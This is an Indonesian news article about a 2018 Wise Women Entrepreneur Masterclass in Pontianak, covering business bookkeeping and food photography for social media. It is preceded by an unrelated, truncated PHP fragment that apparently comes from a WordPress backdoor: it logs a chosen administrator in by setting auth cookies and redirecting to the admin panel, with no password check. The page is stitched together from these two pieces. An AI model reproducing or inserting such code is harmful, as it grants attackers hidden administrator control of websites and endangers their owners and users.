user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
BizNews
Belajar Membuat Foto Makanan Yang Menarik Pembeli di Wise Women Entrepreneur Masterclass Pontianak

24 Sep 2018


Foto: Dok. Wanita Wirausaha

Waktu belum menunjukkan pukul 08.00, beberapa wanita yang tampak cerah mengenakan dresscode berwarna kuning, satu persatu memasuki ruang ballroom Hotel Aston Pontianak, yang terletak di jalan Gajah Mada, Pontianak, Kalimantan Barat. Pagi itu, Sabtu (22/9), semangat mereka besar untuk menimba ilmu dari dua pembicara dalam acara Wise Women Entrepreneur Masterclass.

Wise Woman Entrepreneur Masterclass merupakan kerjasama Wanita Wirausaha Femina bersama Bank Commonwealth dan Center for Inclusive Growth Mastercard Indonesia untuk meningkatkan jumlah wanita wirausaha yang mandiri secara finansial dan melek literasi keuangan. Wise Women Entrepreneur Masterclass diadakan di 10 kota besar di Indonesia, dan Pontianak menjadi kota ketujuh.

“Apakah ada di antara peserta yang sudah mencatat laporan keuangan usahanya?,” tanya Weddy Irsan, SVP, Head of SME New Business Bank Commonwealth saat membuka materi pertama tentang Wise Financial Module. Ternyata, hanya sedikit peserta yang hadir yang mengaku sudah memiliki laporan keuangan bisnis. Tidak jauh berbeda dari peserta di enam kota lainnya.

Padahal, menurut Weddy agar bisnis tetap sehat, laporan keuangan usaha harus terpisah dari keuangan pribadi. Laporan keuangan bisnis akan memberikan gambaran tentang perkembangan bisnis, apakah bisnis untung atau rugi? “Selain itu laporan keuangan juga berguna jika nantinya ingin meminjam uang di bank, investasi, ataupun sekadar mengajukan KPR,” ungkap Weddy.

Lantas apa yang dimaksud dengan catatan keuangan? Weddy menjabarkannya menjadi  modal usaha (modal awal, modal kerja dan modal operasional), catatan transaksi, penganggaran bulanan, laporan laba rugi, dan laporan neraca. Weddy pun menjelaskannya satu persatu dan disambut antusias oleh peserta dengan berbagai pertanyaan.


Foto: Dok. Wanita Wirausaha

Antusiasme peserta tak berkurang saat Roby Bagindo, Produser Eksekutif Masak TV dan Tastemade Indonesia, membawakan materi kedua, Food on Social Media. “Indonesia termasuk dalam 5 negara pengguna Facebook dan Instagram terbanyak di seluruh dunia. Tak heran jika sosial media menjadi salah satu alat penting dalam memasarkan produk bisnis. Buatlah akun khusus untuk usaha, jangan jadikan satu dengan akun pribadi. Hal ini sangat berguna dalam memperkenalkan brand/usaha,” saran Roby.

Kuncinya adalah memiliki konten dengan konsep story telling yang menarik. “Ada banyak ide yang bisa dikembangkan dari produk Anda. Misalnya pisang goreng, Anda bisa bercerita tentang manfaat pisang, jenis-jenis pisang, olahan pisang, hingga dari sisi konsumen, siapa saja yang telah menikmati produk Anda,” terang Roby, yang mengaku hobi ke pasar untuk mencari cerita menarik tentang bahan makanan.

Selain itu, Roby juga menyarankan agar pebinsis mengenali terlebih dahulu sosial media yang digunakan. Apakah sosial media yang dipilih sesuai target usia konsumen. Misalnya Facebook lebih banyak digunakan oleh usia diatas 25 tahun, berbeda dengan instagram yang usia penggunanya lebih muda.

“Sebelum mengunggah sesuatu, sesuaikan dengan gaya dan bahasa target konsumen serta kebiasaan pengguna di masing-masing sosial media. “Contoh di Facebook, behavior users-nya adalah menonton video tanpa suara, jadi sertailah dengan teks. Untuk teks, bisa dalam bentuk subtitle ataupun caption, buat seakan – akan bercerita agar jumlah interaksi dan impresi lebih besar,” jelas Roby.

Sebelum sesi berakhir, Roby juga mengajak para peserta untuk praktek langsung cara membuat foto produk yang menarik dengan perangkat sederhana: ponsel, styrofoam sebagai reflector dan flash ponsel. Roby pun mempraktikkan serta menjelaskan tentang sudut pemotretan dan pencahayaan terbaik, hingga komposisi terbaik untuk memotret produk – produk tersebut.

Hari itu, hampir sebagian besar membawa produk mereka, dari makanan basah seperti buntil ikan tuna, pempek, cake tapai, rengginang, kue kering dan manisan rumput laut, hingga kerajinan tangan seperti tas, kain tenun khas Kalimantan, dan masih banyak lainnya.

Nursila, pengusaha katering yang datang jauh-jauh dari kota Mempawah, dua jam dari Pontianak, mengaku hari itu mendapatkan ilmu yang bermanfaat untuk bisnisnya. “Sejak membuka usaha tahun 2012, saya tidak cukup serius membuat pencatatan keuangan bisnis karena jujur saya juga tidak paham. Tapi setelah dijelaskan oleh pak Weddy dan panduan dari Wise Module, saya semakin paham,” jelas wanita yang kerap mengikuti lomba mewakili daerahnya hingga tingkat nasional ini.

Sebelum acara berakhir, wanita wirausaha femina dan Wise berbagi doorprize dan hadiah menarik. Ikuti terus perjalanan Wise Women Entrepreneur Masterclass ke tiga kota lainnya yaitu Makassar, Batam, dan Bali. Sampai jumpa. (f)


Baca Juga: 

Advertisement

WISE Women Jakarta, Belajar Ilmu Dasar Keuangan Bisnis dan Strategi Brand yang Tepat Sasaran Dari Founder Warunk Upnomal Rex Marindo
Feny Mustafa Sukses Membesarkan Label Baju Muslim Shafira Dengan Modal Awal Pinjaman Dari Ibu
Wise Women Bandung, Laporan Keuangan Yang Baik untuk Perkembangan Bisnis & Tip Sukses Berbisnis Fashion dari Pendiri Baju Muslim Shafira


 



Faunda Liswijayanti


Topic

#wanwir, #wanitawirausaha, #wisewomen, wirausahafemina